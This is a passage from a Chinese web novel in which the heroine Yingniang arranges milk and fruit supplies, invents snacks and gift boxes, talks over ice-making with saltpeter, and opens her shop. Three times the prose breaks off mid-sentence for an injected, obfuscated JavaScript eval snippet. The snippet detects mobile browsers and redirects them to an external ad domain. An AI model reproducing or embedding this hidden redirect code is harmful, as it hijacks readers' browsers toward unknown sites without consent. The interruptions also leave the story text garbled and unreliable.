马夫怕杨公子再发怒，只管箱笼能将银钱搂住便算做成，将之抱与秦彧，转身几步便跨上马车挥鞭而去。 待车马跑远，秦彧才拍了拍箱笼上的灰尘，转手交还于瑛娘。 “抱歉，此人怕是想叫我不爽才如此。” 瑛娘心觉好笑，却是一脸认真向秦彧问道：“那人是谁？” “是通判之子杨兴。” “秦家与杨家是亲眷？” 秦彧语塞，再看瑛娘，却见她眸色浅淡，在光下看来带着说不出的柔和，一时愣怔，甚至下意识跟着瑛娘呼吸、眨眼。 “秦大人？” “……”秦彧骤然回神，耳根再次不受控制地升温，仓皇垂下眼睑，一时不敢再看瑛娘的眼睛，“不是。” “既如此，秦大人又何须替他与我道歉？总归是杨家的家教，怪不到秦家头上。” 秦彧缓缓调整呼吸，闻言失笑，转而问及瑛娘，“汪娘子此行是去户所？” “是。二月里食铺开张，店中寻了两个帮手，非是府城中人，还是先将她们今年的税钱缴清为好。” 秦彧点头，有心说些什么，却不知话从何起。 瑛娘见他这般模样便忍不住又暗叹了一声可惜，转而开口却是道别，“秦大人该有要事待办？今日便不多打扰了。晚间章叔会到食铺取小食与秦大人试味，若秦大人吃着还觉不错，便叫章叔与我说，来日我好叫妹妹再多备些。” “好。……多谢。” “秦大人无需客气。” 与秦彧道过别，瑛娘便抱着箱笼快步寻至户所，未见秦彧驻足半晌才抵了抵额角，懊恼地长叹了一口气。 缴过税钱，瑛娘又一路快步出了坊市，取了骡车，驾车驶向和平街。 和平街商铺不比升平街，所售物件不多金贵。 瑛娘寻了一家专卖木制提篮的铺子，与掌柜商定好定制食盒的样式、数目，又留了“苦禅”字样的印章标识，给付五两银做定钱，这一日的计划才算办完。 回了延兴街瑛娘才想起先头炊饼娘子提及的牛乳，索性又跑了一趟漱墨坊，待与章文德打听清楚再买。 不料今日的漱墨坊车马盈门，其中不乏身着绸缎的富家子弟，瑛娘猜测这些人都是追着大儒声望而来的药墨买客，只是惊奇漱墨坊短短数月经营而得的声名，在外看过一阵，见章文德确是忙得无力分心，只得折道而返。 问不得章文德，瑛娘索性掏了二两碎银，请了一位引路人来。 二两碎银在府城之中虽算不得什么，但于耍嘴皮子营生的引路人而言却能抵十来日的盈收，得了银钱自然细细与瑛娘道来。 方大人养乳牛的田庄本是府城一位富户的庄子，因那富户无端妄议天家触怒龙颜，三代皆被流放至西原边境，这田庄也被充公作奖赏分拨与府衙官吏。 说来这位方大人也是个巧人，本职做着府衙经历，平日却时常游走于街巷里坊，还见不得谁家买卖亏损，因而多与寻常商贩出主意，深得商贩推崇。 那田庄划拨与方大人前不过是一普通农庄，庄头每年能与主家二百石粮，方大人接手之后却觉那一百二十亩地只种粮食属实浪费，便先退了六十亩地种下牧草，打西原引进两百头牛犊，最终养活了一百六十来头乳牛。 起初这乳牛产量并不高，方大人便只叫城中富户以八百文一斤的价格买去试喝，之后方大人又将余下六十亩地全改作牧场，自此牛乳产量剧增，价格降至半钱银子一壶。 一壶牛乳约摸两斤重，算来便是寻常百姓家也喝得起，而牛乳有强身健体之效，府城往来者只要尝过滋味，无不赞叹方大人慷慨、聪敏。 “如此说来，府城确是不缺牛乳供给？” “是也，牛乳畅销，方大人府上并不会日日备下许多，娘子若想每日饮用新鲜牛乳，自可去善安坊方府寻方夫人协定，届时会有庄上的长工与娘子配送，量多量少皆可。” 瑛娘点头记下，又问：“除了牛乳，府城可还有别的稀罕事物？” “别的么……不知城中两处庄园于娘子而言可算稀罕？” “且说来听听。” 骏阳府远眺可及山水。 南门往外三十里即夕山，但城中富户不好舟车劳顿，又多畏于夕山险况，便有一老太公倾全族之力于骏阳府城界内开辟出一座庄园，赋名东宁园，又筑登高台，以登高望山慰藉。 东宁园中倒也不止登高台一处稀奇，经年之久，园中移栽了诸多奇花异草，城中权贵、富户每逢喜事便好与东宁园主赁了园子来待客，加之东宁园与府学只隔了一道华林门，久而久之，这东宁园自也成了骏阳府一大盛景。 而另一庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109523|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 园名曰浣花苑，坐落于坊市与北门城墙之间，是先公主斥巨资打造的皇家园林。 自当今那位登顶之后，这浣花苑便作行宫之用，只是当今继位时日尚短，眼下庄园只待闲置，平日为官奴看管，至今仅有知府借用出入。 “东宁园借用一回需与园主多少租金？” “一回就得一百两，且只与租客三日布置、开席，宴后自有园主着人洒扫。” “如此倒也便利。” “是也！是也！听说这东宁园已经预订至明年中秋，近乎每隔一旬就有喜宴承办，可想而知，这东宁园多叫权贵富户欢喜。” 引路人说得口干舌燥，瑛娘与他倒了一杯水，待他歇过一口气才又接着问其他。 “不知府城周边田庄可有种植鲜果的果园？” “自然是有的！咱们骏阳府平日可不缺鲜果子吃，眼下正值柑橘丰收之季，娘子若是需用，自可与福安坊林府议价购得，待得三月里林府还有春杏，五月里也有蜜桃。” “再就是秦同知秦大人家，秦家商行常年行走于西原，每年夏时都会打西原运回寒瓜、蜜瓜与葡萄，虽价高，但胜在味美，每年仅西原来的鲜果就能叫秦家大赚一笔！可惜西原地处偏远，听秦家商行商队押运说，这一路来损耗的鲜果都占总数八成，属实可惜！不过秦家每年秋末还能出一批柿子，那果子甜得很，吃着也是不错。” “而九月、十月里城头最多见的便是周边农户打夕山采摘来的浆果了，咱虽不知那浆果都是什么名儿，总归能吃，吃着也觉酸甜可口，花上几文钱就能叫家中老小甜甜嘴。过了十月，酸橘便陆续出市了，如此也算整年儿都有鲜果吃，哈哈！” 瑛娘确是没想到秦家商队能弄回葡萄来。 鲜果不易保存，西原与骏阳府少说相隔千里，秦家商队纯靠降低车马速度就想提高存率自然不成。 眼下秦家也算有了“背景”，若是能说服秦彧借机开放硝石限额，她再教秦放以硝制冰，届时秦家商队自然能带回更多的寒瓜与葡萄，她也能背靠商队多得一些硝石，进而添一笔冰饮的盈收。 不过秦彧秉性怕是不许监守自盗，若实在不能多购硝石，也只能教秦放罐头与果干的制法，继而扩宽商路。 “今日多谢阿叔与我解疑，劳烦了。” “这算啥？” 简单吃过午食，瑛娘又叫阿草多取了十斤江米泡上以备制粉，这才驾车前往善安坊寻方府夫人购买牛乳。 这方府虽挂了府邸牌匾，实际只是一座一进的独院，府中也无成群的仆人，只一二十几岁的梳头婢女为瑛娘引路。 待得见到方夫人，无需瑛娘多言，方夫人便叫婢女取了两壶今日的鲜乳来，又亲手写下契书，自二月起每日辰时末着长工送两壶当日鲜乳及延兴街小食铺，每日结银与长工即可。 这方夫人也是位奇人。 不怕瑛娘哪日突然不要鲜乳，只待瑛娘给了今日结银，又于契书按下指印，便神色淡淡催瑛娘离去。 瑛娘本也有别的安排，自然不多介意，驾车一路寻至福安坊林府，与林府管家一番话语往来，又花三两银买得三十来斤柑橘。 59. 炸奶 食铺库存就有红枣、红糖及胡麻，谢梅又特意跑了一趟和平街肉铺，割来五斤精瘦猪肉，如此足够应付晚间要与秦彧的试味食盒，但这食盒着九色攒盒，仅放五样也不好看，索性手头有今日新鲜的牛乳与柑橘，瑛娘又计划了一番，打算添上柑橘果酱、焦糖奶冻、炸奶块与酥肉，也好凑作一整盒小食。 酥肉云氏会做，需用热油，瑛娘便叫云氏来做，自个儿拿了柑橘洗净剥皮。 柑橘要制果酱需将橘皮取外层切细，再除橘衣、橘络，只取纯净橘肉与橘皮碎末加白糖熬煮。 熬制果酱需要注意火候，火候不对果酱便会发苦，瑛娘也曾失败过数次才调出口味最佳的配比，眼下驾轻就熟，不费多少工夫便做出一罐来。 果酱味浓，玥娘闻着味儿便缠着要尝，吃过一口便再挪不开眼。 “姐姐！这果酱味道真好！能给我留些吗？” 瑛娘笑着揉了一把玥娘的头，没与她捉弄，“果酱不卖，只取一些作礼。” 玥娘欢呼一声，拦腰抱住瑛娘亲热，待得云氏忍俊不禁斥她，才松了手与瑛娘做了鬼脸淘气，回了灶前忙活。 思及每日都能得两壶鲜奶，瑛娘便打算将炸奶块也教与云氏。 正好玥娘接了糍糕的活儿，云氏听过这奶块的做法，便叫玥娘单做一项，自个儿取了一壶鲜乳来跟着瑛娘学做。 炸奶块需要先将鲜乳加糖与薯粉慢火熬至浓稠，期间需防鲜乳粘锅，因而时刻离不得人。 待鲜乳成浆糊状态盛装入模放凉成冻，再切成条依续裹上一层生薯粉、鸡蛋液、粗制江米粉，待油锅油温烧至过半，入锅以小火煎至四面微黄变色，如此奶块彻底固形，再入锅复炸至色变金黄便算成了。 瑛娘按一壶鲜乳十份的量分了四份分装入两个攒盒，余下的便叫云氏拿去，也叫玥娘和谢梅、阿草尝尝鲜味儿。 玥娘前些年倒是与瑛娘、云氏一同喝过丰县的甜乳，谢梅和阿草却是从未粘过，瑛娘只叫她们少吃些，待得后几日没出现腹泻的病症再吃。 “这牛乳会致人腹泻？” 腹泻严重亦会致人死亡，先头尝了味儿云氏还琢磨将这炸奶块加入售卖食谱，可若当真有人吃不得这鲜乳，来日怕是少不了麻烦。 瑛娘签下鲜乳的契书便是有意叫云氏多做一门买卖，闻言只叫云氏安心，“鲜乳性寒，体质不佳者自然多食不得，但方大人售卖鲜乳久已，城中百姓多半早知自个儿吃不吃得。再者，一份炸奶块所用鲜乳量也不大，只要少食应也不致出错。” 说罢，又与云氏及谢梅说了说方大人的田庄。 听及方大人的田庄，云氏才稍稍安心，“那每日便做二十份卖？” “嗯。” 鲜乳一壶值半钱银子，又要加糖、裹蛋液、薯粉、江米粉，还要约摸半坛山茶油，如此算来一份至少要卖百八十文才有赚头，但这炸奶块一时半会儿不会叫人堪破，每日二十份也不会有寻常百姓来抢购，瑛娘索性选了个吉利的数，择定一份售价一百六十八文，如此算来一年也能与云氏同分六百八十两银。 另一壶鲜乳瑛娘打算做成焦糖奶冻。 这奶冻实际与牛乳蒸蛋做法大差不离，只是奶冻奶味更浓，再加红糖搅匀同蒸，吃着也算一种风味，若是觉得奶与蛋蒸来腥重，自也可以佐以柑橘酱利口。 云氏会做水蒸蛋，一听便大概有了想法。 而配比自有瑛娘出主意，云氏先按法将红糖熬制成焦色，加入鲜乳、蛋液拌匀，再裁下几张纸覆于碗碟之上，着针尖刺破留孔才上锅蒸制。 如此蒸来成品面上少有水雾，出色也是焦黄鲜亮，云氏看了都觉香味沁人，挑了一小块尝味，更觉这奶冻比炸奶块吃着还叫人欢喜。 “各人自有喜好，喜重油者指不定也觉得炸奶块吃着更利口。” 自打瑛娘出了主意叫老汪家做成了买卖，云氏已然几年未缺过油水，平日又有好肉好菜，自然不似从前那般贪重油味。 “那这奶冻你可有打算？” 瑛娘想了想，却是不欲做这奶冻来卖。 “食铺里甜口的小食太多了也不成，且这鲜乳买多了打眼，咱们在府城没有根基，还是不要试探权贵富户为好。” 因着还顾及寻常百姓，几样小食的定价都不算太高，但每一份的量也称不得多，若增加食谱，忙不过来事小，引人关注事大。 “以目前几样小食粗略计算，小食铺一年已然能有盈收二千九百余两，便是娘与玥娘只能分得二成也有近六百两银，利再厚些怕是会引有心人关注。况且夏时我还有别的打算，娘与玥娘只管先做这几样，待得夏日我再教你们做别的新鲜儿。” 云氏倒也不觉钱少，闻言点头应下，帮着瑛娘将攒盒装点好，才收了多做的这些小食归置。 “我盘算着这些小食我们也吃不完，不如趁着这几日还未开张，在食铺前摆一个小摊半卖半送？也好叫往来的食客知晓。” 瑛娘确是忽略了，便叫云氏只管着手去做。 “明日我要去上湾村寻秦老爷议事，归来前还需去一趟丰县，娘可有甚交代？” 云氏一默，半晌却是摇了摇头。 与汪点柱成亲已逾二十年，最初懵懂的欢喜早就磨灭在日复一日的磋磨当中。 偏汪点柱本人也无甚大错。 真论起来……无非就是没有时刻与她站在一处、没有全力维护她罢了。 “你自去就是，我与你妹妹没什么需用的。” “好。” 食盒备好，天色已然渐暗。 早间瑛娘打外城买来的猪肉馒头和羊肉炊饼还能吃上一顿，云氏也不欲开火再做，索性就着余火将馒头和炊饼蒸热，烧了几碗蛋汤便作一餐食。 吃过晚食章文德还未来，瑛娘便取了攒盒跑上一趟，正好与章文德问问商队于府城除了鲜果外还有哪些供货。 漱墨坊中章文德正忙着盘点今日营收。 瑛娘给的二十方药墨虽说不多，但此前几家有意高价购买，今日一得信儿便奔赴而来，不成想一人传十人，哄抢之余，连带着“苦禅墨”也售出三百来方。 也就瑛娘来，章文德才得空擦了擦额角已然干结的汗渍，见她手头抱着两只食盒，登时笑呵呵迎出门来。 攒盒看着便觉大气，再看内里更是不得了。 “这食盒若卖怕是得卖上好几十两吧？” 瑛娘淡然一笑，倒是实话与章文德说了打算，“这攒盒二十两一套，若城中富户吃着小食觉得味道不错，作礼也算体面，自可去瓷器铺子买了来叫我娘和妹妹按盒子定做小食，食铺只收小食的钱，一套做来只需六两银。” 一听售价六两，章文德着实一惊。 这食盒中小食样式虽多，但每种都属少量，他还当这一盒做来应也不超过一两银，不成想这回瑛娘却是打定了主意要盈收。 不过如此也好。 毕竟这府城权贵不缺钱花， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114466|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城中富商赚钱亦不会管买主是谁，该赚多少都是依他们自己所想，总不能一介小娘子来操心寻常百姓吃不吃得起、穿不穿得好吧？ “瑛娘若要卖高价，不如与这食盒雅称？这城头的权贵富户都讲究这个。” “雅称自是有的，就叫九色攒盒。” “九色攒盒……确是不错！这回又叫我与公子吃了瑛娘便宜了，这食盒贵，待公子吃完小食我再洗净送回与你。” 瑛娘没拒绝，只道下回还有新鲜儿也用这两套盒子与他们送来。 章文德乐得直笑，又听瑛娘提及城中货行。 “此前自家吃的山茶油与红糖、白糖都是打章叔前头管着的杂货铺子买得，二月里食铺开张，需用山茶油倍增，却不好再时时往来，若府城城头也有秦家货行才是便利。” “府城的货行非是秦家的。公子根基尚浅，老爷实在不好往城头打算。这样，你且与我说说每日需用，或是估算一下每月合计用量，我与商队打个招呼，叫他们着人与你送来。” 山茶油本就是商队自别处运来的货物，府城货行也由秦家商队供应，所与价格自比直接从秦家购得的高，瑛娘又不是外人，自然不怕费事，能省则省。 瑛娘估算了用量，直言道：“每月需用约摸十五坛，这量商队可还供得起？若是方便，便请章叔与商队拖个信儿，叫他们帮忙送来今年整年的用量。此外我还需二十坛做别的营生，因而整年的量需得两百坛才够。” 章文德又是一惊，“一日半坛？！” “是。食盒中一味炸奶块便是每日鲜油、鲜乳煎炸制得，用过的油不好再用来做吃食，第二日自然得换一锅新油才好。” “难怪这食盒你要收取六两银！” 鲜乳和山茶油都不是寻常食材，这小食重油，多卖一些倒也说得过去。 况且其他几样瞧着也多是江米做的，全然独一门儿的买卖，算来六两还真是瑛娘才能给出的实惠价。 瑛娘知他误会了定价，笑着多解释了一句：“食盒的价与平日所售定价却是不同。” “都定好价了？” “江米做的三味糍糕，红枣、红糖的作二十文一份，胡麻的三十文一份，两味肉脯最费功夫，一份便卖五十文，至于这炸奶块，因为食材金贵，定价一百六十八文一份。至于其他几样，目前没有每日售卖的打算。” “价这般低？” 瑛娘盈盈一笑，却不好说这般定价已能挣得许多。 “这些小食做来费力，每日售卖份额都有定数，想来也不够卖。若价再定高些，怕是只会叫人更为不满。” 章文德深有同感，不禁点头认同：“确是如此！” 知晓瑛娘能挣钱章文德便不再多言，只道明日便拖信儿与商队，好叫他们近几日便着人将山茶油送来。 但再提价格，章文德却如何也只肯收瑛娘五十两银，还道：“二百坛听着虽多，于商队而言却算不得什么，五十两足矣。” 推脱往来也不好看，瑛娘默默承情，只与章文德谢过便算。 “我还需用些红糖、白糖，也请章叔拖信，请商队再送三十两份额的红糖，二十两的白糖。” “成，我一并拖信儿叫他们送来。今日天色不早，你且赶紧回家去。我也得拾掇拾掇回府上，稍后该得宵禁了。” 华林门每日亥时落闸，眼下已近戌时四刻，漱墨坊还有些事亟待处理，章文德不好再做耽搁，瑛娘自然辞别而去。 60. 囤冰 翌日一早，瑛娘天不见亮便强撑着爬起身来，交代过谢梅去外城领羊才驾车赶往上湾村。 行至秦府正赶上朝食上桌，徐雪芝热情招呼，瑛娘腹中空空，索性厚着脸皮混了一顿饭吃。 “你在府城可是落下脚了？食铺待得多久开张？” “全托秦叔与章叔帮忙，食铺二月开张，届时一定请秦叔与芝姨尝尝小食鲜味。” “成！那我便与你芝姨等着尝味儿了！” 吃过朝食瑛娘才与秦放与徐雪芝说明来意，然徐雪芝从不掺和商道，嗔笑着将他们赶去客厅，自个儿带了仆从离去，只留一心腹管家在侧，免得人多嘴杂，坏了两人的大事。 秦家办事向来体面贴心，等瑛娘坐定后先喝了小碗解腻的茶水，秦放才按捺不住与她询问详细。 “西原鲜果运送属实艰难，用那硝石当真能提高存率？” 瑛娘不答，只问：“秦叔可知盛京贵族夏日避暑之法？” “确是知道一二。其一自是行宫避暑，其二么，说是盛京权贵知晓一囤冰的法子，夏时炎热之际通常以冰解暑。” 说罢，又笑问道：“瑛娘总该不会也知晓囤冰之法吧？” 瑛娘盈盈一笑，颔首默认，不等秦放与心腹管家惊诧，又开口直言道：“昨年秦叔不是想法帮我寻了些硝石么？那硝石就是制冰的关键，只是一斤硝一斤冰，若要保障西原鲜果途中不腐，怕是得用许多冰才成。” 硝石开采艰难，又因其用途经受朝廷管控，寻常人家很难从官府手头买来大量硝石。 如今秦家倒是有个秦彧在官场行走，可秦彧非是能叫秦家借机钻营的性子，秦彧上峰也不会允许他徇私牟利。 秦放有些为难，蹙眉深思，半晌才与瑛娘说了实话，“以我的人脉，一年顶多能买来五十斤硝石。而寻章与他娘一般性子，向来不管家中生意，加之如今身处官场，处处受人掣肘，怕也不愿叫我借他官职之便谋取私利。” 五十斤硝石制冰还不够一个马车车厢封闭持温，西原路途遥远，便是途中反复将用过的硝石溶液提炼，制取冰块的速度也远远赶不上鲜果运送的损耗。 此法行不通，瑛娘只能与秦放提及葡萄制干之法。 “秦叔在西原可有人脉？若能安置一批信重之人在西原，夏时葡萄丰收，直接将多得的葡萄制成干果，如此运送回府城，亦能当得一门新鲜儿的买卖。” “葡萄制干？” “类同红枣蜜果。只是葡萄本就酸甜可口，制干时无需再经糖腌制，其法也算简单，就是耗时需得一、两月之久。” 城中盛行的蜜饯就有一味红枣，瑛娘吃过一回，可惜那红枣腌制蜜味不纯，多食两粒便觉腻味，倒不如纯味干枣的香甜。 秦放自然也知晓鲜果制干之法，毕竟果林里每年盛产的柿子不宜久存，多的自然卖与果点铺子制成糖霜柿饼作点心买卖。 “确是一叶障目，幸得瑛娘提醒。” “秦叔客气。” 葡萄制干虽不比鲜果美味，但平日作一味甜口的小食也是十分不错，且葡萄干酸甜利口，届时再堆一座土窑，以鲜乳、鸡蛋、麦粉调和烘焙，正好能以葡萄干搭配红枣佐味。 冰存葡萄之法虽是行不通，瑛娘却也不想白白放着五十斤硝石的份额不用，略一思索，还是请秦放与了纸笔，粗略写下了硝石制冰的配比与法子。 外硝内水的制法并不难懂，秦放一看便约摸想到了制冰关窍，不禁“啧啧”称奇，“无怪乎硝石管控，若叫寻常商户知晓这制冰制法，怕是能乱了盛京权贵钻营圣心的法门。” 瑛娘不好说这硝石还有另一门紧要的用法，只淡然一笑，又与秦放说了硝石溶液的提炼之法。 “此法能免去硝石八成损耗，只是西原路远，五十斤硝石怕是撑不到鲜果运回府城。” 秦放点头，略一思索，却问瑛娘今年是否还要硝石，“你那食铺既然要做新鲜儿小食，不如再做些盛京时兴的冷饮子搭着卖？总归我这儿有门路能取得硝石，外人也无从知晓硝石制冰的法子，只会当你是从盛京权贵手头买来的囤冰，少量卖些该也不会引得有心人关注。” 这本也是瑛娘的打算，自然满口应下，又柔声与秦放道谢。 “外道什么？比起你与我的方子，不过微末小事。” 两人约定三日后由秦家心腹管家亲自运送硝石入城，笑言闲谈，待得用过午食，瑛娘才离了秦府，一路往丰县而去。 今年的口脂早已交付，但平日需用的东西都叫章文德拖了商队备齐一年的量直接送往府城，瑛娘走这一趟便是为了存备原料药包。 自然，走这一趟属实费时，瑛娘趁机问了问药铺掌柜的存量，好一番歪缠，才说服掌柜开仓与她五年的用量。 舍一样是舍，舍两样也是舍。 只是八宝五胆药材金贵，瑛娘磨破嘴皮也才买得二十份用量。 二十份药包只能制得二百方药墨，可惜掌柜舍了这般，药铺之中几味珍药便只留存三份以备不时之需，再多确是如何也给不了了。 两味药包合计四百八十五两，瑛娘本欲叫药铺掌柜让些利，甫一开口却见掌柜脸黑非常，只得背着篓子快步离开了药铺。 除了药包，瑛娘还欲再买些棉花存备。 前些年制得的棉柔纸云氏根本不用，因而存量够瑛娘用上三年之久，只是府城之中棉花售价高于丰县，为防将来不时之需，来这一趟若不顺道买些也说不过去。 然而问及棉花存量，丰县却仅有百来斤盈余，且眼下寒冬未过，总不好叫瑛娘一人就把棉花买尽，瑛娘添了些钱，这才以十二两银买得八十斤棉花。 买过棉花，瑛娘又往农集走了一趟。 可惜天不凑巧，曾猎户今日未来城头贩卖猎物，瑛娘只得无功而返。 好在昨年冬交付鹿角时曾猎户便知她已盘了府城的铺子，猕猴桃藤并不急用，只待今年再见时再叫他打些来。 丰县之行满载而归。 接下来几日，瑛娘又陆续收到了秦家商队送来的货物、硝石，瓷器铺子送来的果碟，以及提篮铺子送来的食盒。 如此诸事齐备，只待二月开张，瑛娘这才腾出空儿来琢磨生羊吃法。 本欲买了乳羊好叫自家几人平日里喝了羊乳滋补，可惜乳羊不卖，那日炊饼娘子帮忙牵来城头的便是一头生羊。 这生羊粗养了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118604|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几日便瘦了几分，可见平日饲养精细，想来肉质鲜美，便是瑛娘也忍不住馋起了羊肉滋味。 羊有数种吃法。 其中羊腿、羊排炙烤滋味最美，只是时下香料不齐，腌制成味儿怕是比不得后世丰富。 而羊腹肉及腿肉鲜嫩，与芦菔、葱、姜炖煮成汤便是极佳。 倒是羊杂可与羊肉一同做成卤味，再取大料热油烹香、加肉汤煲煮，入口亦是口齿生香。 食铺之中皆是女眷，瑛娘便是有意请秦彧与章文德尝尝滋味也需考虑避嫌，只得请章文德劳累一趟，拿了釜瓮碗碟来装盛回府热过再尝。 冬日里吃羊最是滋补。 接连两日喝了羊汤，瑛娘便觉身体较往年开春时燥热了几分，稍有一处细微看不过眼都觉心情烦闷，直到几日后一股暖流突然袭来，她才意识到那是身体与她的提示，预示着她的人生自此便可迈入下一阶段。 瑛娘成人，最高兴的莫过于云氏。 “汪瑛”身体亏空严重，云氏每每计算对比都觉亏欠非常，眼下瑛娘如愿成人，云氏又生怕瑛娘不知爱惜身体，瞻前忙后，不许她劳累，更不叫她去碰冷水，几日里都叫谢梅在灶间备好热水，免得一个没注意就让瑛娘再落下病根老来受罪。 初潮并不会持续多久。 瑛娘在床上躺得软绵，好歹二月前便恢复如常，一番梳洗过后正好清清爽爽准备小食铺开张事宜。 时人新店开张不兴敲锣打鼓，如此一来，便是云氏此前支摊叫往来食客量取试味的法子最佳。 但先头那回间隔久矣，瑛娘便挑了开张前一日，叫谢梅与阿草帮着多泡了些江米，又买了新鲜的鸡蛋、精瘦猪肉，以待多备些来送与往来食客试味儿。 不过思及秦彧或会与同僚提及九色攒盒，瑛娘还是采买了百十来斤柑橘制成果酱，留出这几日需用的量，才按一坛半斤的量单摆了百来坛，单售二两银一坛，此外又备焦糖奶冻、酥肉，九味小食拼成一盘，好叫食客口口相传。 小食拼盘看着便比果点更吸人眼球，往来食客见其新奇，又听今日现货都是免费与人试味儿的，自然一拥而来挨个儿品尝。 尝得味儿好的食客一猜便知这拼盘中多出来的才是价高的关键，待得每一样试过，便叫了脸嫩的玥娘打听售价。 玥娘机灵，只说有几样平日不卖，又与问价的食客介绍攒盒：“客人若是想买这整盒的小食作礼，只需提前一日与我们定钱即可。不过正经食盒拼盘可不是零卖这般价格，作礼的食盒我们家都是选的宣平街瓷器铺子所售攒盒，一套攒盒就得二十两银，倒是比我们家小食还贵。” 问价的食盒眼睛一转，确是领会到了话中未及的含义，“那岂不是也能我自个儿备了食盒来？” “自然可以。” “那价如何说？” “一盒六两银，其中含括九味小食，每样的量都是零卖的两倍。” 实则零卖的几样小食便是买双份儿的量也不过一两余，舍不得银钱的倒也可以再自备几样果点拼成一盒，无非就是少一些新巧罢了。 “成吧，今日尝得新鲜儿，待明日开张我再来捧场。” “多谢！” 61. 猜疑 开张之日，小食铺果然热闹非常。 许多前一日试过味儿的食客来了店中零买才知样样都有限量，好在整坛买果酱的还算少数，没能赶上新鲜小食的多也不愿走空，牙一咬便掏钱买了二两银一坛的果酱。 便是如此，小食铺开张不过半个时辰，连带剩余果酱也尽数售罄。 打算落空的食客自是失望，少有几人见铺中张罗的娘子还无歇业的打算，心思一转便问今日是否还有小食补上。 瑛娘适时嘱咐谢梅端来甜酒丸子。 这甜酒丸子所用甜酒正是去年秋时发酵的江米酒，入冬后瑛娘特意在食铺后面挖了地窖封存，眼下拿来味道正好。 时人多能饮用一些酒水，这江米酒又经稀释、熬煮，喝来虽有酒味，更多的却是一种酵过的甜香。 眼下一碗热气腾腾的浑圆丸子伴着酒香端来，登时勾起了留在铺中不愿离去的食客的馋虫，问及这一碗不过五十文钱，食客当即寻了位置坐下，招呼堂中忙活的谢梅与阿草煮一碗来尝尝。 一碗甜酒丸子下肚，不仅体温回暖，还觉些微饱腹，难免心觉满意，掏了钱来结银。 章文德陪同秦放与徐雪芝来时，食铺中已然坐了十数位食客等待甜酒丸子端上桌来，一时判别不出生意好坏。 瑛娘本在柜台前清点早间营收，见三人在堂前驻足，连忙起身招呼，将人迎进铺中。 徐雪芝虽不关心秦家的生意买卖，真论灵透却不比秦放差，目光触及柜台收银的箱笼，当即放下心来与瑛娘打趣，“我们来迟了？都怪你秦叔，非说来太早反倒叫你分心，结果这一拖拉连新鲜儿都没赶上。” 瑛娘粲然一笑，“今日早间确是忙不过来，幸而提前备下了与秦叔、芝姨作礼的食盒，稍后你们只管带回去便能尝鲜。不过嘛，眼下还有一味小食是食盒中没有的，你们先坐，我叫玥娘与你们煮一份来尝尝。” “成。” 甜酒丸子章文德也没吃过。 不过这丸子说起来也是汤圆的一种，只是没有寻常汤圆的馅料，秦放与徐雪芝此前吃过胡麻汤圆，因而这日再尝便是尝的甜酒的新鲜儿。 一喝甜酒，徐雪芝却比秦放更为欢喜。 甫一入口徐雪芝便神色一朗，不敢置信道：“这真是酒？江米酿的？” “是，不过这甜酒煮来不醉人，只是江米不宜多食，这甜酒喝多了也容易腹胀，因而也不能多饮。” 甜酒封存好能存半年之久，但冬日太冷不宜发酵，这一批瑛娘便未制太多，见徐雪芝确实喜欢这甜酒的味道，瑛娘索性写了方子与她。 徐雪芝此前倒是听秦放与章文德说过瑛娘惯是大方，眼下得了方子才知这闺女的手是真松！ 可瑛娘赠方是贴心好意，她若开口要与银钱倒是容易叫人心生嫌隙，还不如多上上心，从别处与她关心。 思及此，徐雪芝又提起了帮瑛娘着人相看的心思，“瑛娘五月里该是满十六了吧？” “是。” 不提还好，一提及，瑛娘才意识到自己于此世已然五年之久，虽说初时遭了些身体亏空的罪，可近几年来却日日舒心顺畅，容貌、体量也日渐与她从前于他世轮转时近似，叫她莫名觉得此世该是她原有的人生。 徐雪芝不知瑛娘思绪百转，思量之后又问瑛娘：“不知你家中长辈可有为你相看适龄的男儿？” 瑛娘思绪回笼，下意识摇了摇头，继而回神又与徐雪芝补充道：“不知父母如何打算，兴许暂时无意叫我相看吧。” 徐雪芝眼神一亮，不禁在心头盘算秦、徐两族中品行过人，又与瑛娘年岁相当的子侄。 可惜徐雪芝在徐家同辈中排序占小，族中子侄虽多，品行过人的年岁却比瑛娘大上许多，且多以成亲、定亲，不能叫瑛娘相看。 而秦放在秦家算来也与徐雪芝大差不离，不过秦家倒是还有一个十八、九未说亲的表亲子侄，可惜徐雪芝也摸不准此人品性，少不得仔细了打听过才好与瑛娘相看。 说起来……她儿秦彧也是个不叫人省心的。 今年秋秦彧也该二十了，换作别家的儿郎，怕是孩子都能成天围着爷奶爹娘闹着要糖吃了，偏他日日忙得很，连相看也不得空，平日连本家的女郎都难见一面，怕是还没开窍呢！ 徐雪芝暗叹了一口气，再看瑛娘却是满目慈爱。 